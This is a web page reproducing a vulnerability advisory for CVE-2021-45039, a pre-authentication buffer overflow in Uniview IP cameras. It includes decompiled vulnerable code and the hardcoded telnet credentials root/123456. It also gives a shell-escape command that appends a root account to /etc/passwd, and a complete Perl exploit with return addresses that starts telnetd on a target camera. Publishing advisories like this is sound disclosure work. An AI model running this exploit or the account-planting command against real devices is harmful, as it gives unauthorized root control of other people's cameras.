Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2021-45039: SSD Advisory – Uniview PreAuth RCE - SSD Secure Disclosure

Multiple models of the Uniview IP Camera (e.g., IPC_G6103 B6103.16.10.B25.201218, IPC_G61, IPC21, IPC23, IPC32, IPC36, IPC62, and IPC_HCMN) offer an undocumented UDP service on port 7788 that allows a remote unauthenticated attacker to overflow an internal buffer and achieve code execution. By using this buffer overflow, a remote attacker can start the telnetd service. This service has a hardcoded default username and password (root/123456). Although it has a restrictive shell, this can be easily bypassed via the built-in ECHO shell command.

CVE
#vulnerability#web#rce#buffer_overflow#auth#telnet

TL;DR

Find out how a vulnerability in multiple Uniview devices allow remote unauthenticated attackers to trigger a remote code execution vulnerability in the products the company offers.

Vulnerability Summary

A vulnerability in Uniview proprietary protocol listening on UDP port 7788 allows remote unauthenticated attackers to overflow an internal buffer used by the product. By exploiting the vulnerability a remote attackers to gain root access to the device.

CVE

CVE-2021-45039

****Credit****

An independent security researcher has reported this bypass to the SSD Secure Disclosure program.

Affected Versions

  • Multiple models of the vendor IPC_G61 / IPC21 / IPC23 / IPC32 / IPC36 / IPC62 / IPC_HCMN / SC-31 / SC-37 / SC-20 / SC-26
  • The full affected models list can be found at https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm

Vendor Response

The vendor has issued a an advisory: https://global.uniview.com/About_Us/Security/Notice/202112/920471_140493_0.htm

Vulnerability Analysis

Using unpack, binwalk and ubidump and the firmware from http://en.ezcloud.uniview.com/version/IPC/IPC_G6103/GIPC-B6103.16.10.B25.201218/GIPC-B6103.16.10.B25.201218.zip, you can see that /program/bin/maintain listens on UDP port 7788.

If you load /program/bin/maintain in Ghidra you can find a in FUN_00013074,

case 10:
  if ((int)(local\_27 - 2) < 0x41) {
    if ((local\_20 & 0x400) == 0) {
      local\_34 = \_\_isoc99\_sscanf(param\_3 + local\_1c + 2, "%\[^:\]:%hu", auStack336, &local\_3a); // bug here

To reach the vulnerable location and redirect execution you will need to implement the custom TLV-based protocol this code uses.

The exploit found below will smash stack and spawn telnetd on the camera, you can then telnet in as root/123456 (password for telnetd is not changed when changing in web UI).

You will land in a restricted shell (uvsh), to break out of the restricted shell, ECHO command in uvsh allows file writes but only inside /tmp can overwrite /tmp/bin/killwatchdog.sh, this script gets called from /program/bin/reboot.sh when executing update -tftp / all from the uvsh:

ECHO -e “#!/bin/sh\necho toot:dIkAjCy0Zma2s:0:0::/root:/bin/sh >> /etc/passwd\nmv /sbin/reboot /sbin/reboot.org\n” > /tmp/bin/killwatchdog.sh

uvsh> update -tftp / all

wait for “/tmp/bin/reboot.sh: line 28: reboot: not found”

Exploit

# exploit for uniview maintain daemon use IO::Socket; use strict; my $bla; my $sock = IO::Socket::INET->new( Proto => 'udp’, PeerPort => 7788, PeerAddr => '192.168.0.153’, ) or die "Could not create socket: $!\n"; binmode($sock);

packet is [opcode] [unknown] [2 bytes for length, with itself included] [“stuff”] meaning my packet payload

my $opcode = “\x07” ; # not important my $unk = “\x01” ; # not important my $payload = $opcode . $unk;

below address is for system(“telnetd &”);

my $stuff = “AAAABBBB” . pack("l",0x00013a58) . “DDDD” . # these 20 bytes are used for the authentication flow, not relevant in this scenario "\x0a"; # vuln tlv

first char below is actually the length of the tlv (length not used here), must be < 0x43 to trigger bug

$stuff .= "\x42"; $stuff .= “E” x 328; # 328 bytes of filler my $r11 = pack("l",0x43434343); # r11 not important $stuff .= $r11 . pack("l",0x0001b86c); # 0x0001b86c: pop {r4, r5, r6, r7, r8, sb, sl, pc};, actual pc is defined in $stuff above my $packet = $payload . pack("n",length($payload . $stuff)+2) . $stuff; # pad length of payload to include payload field print "length of pkt " . int(length($payload . $stuff)+2) . "\n"; print $sock $packet; $sock->close;

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907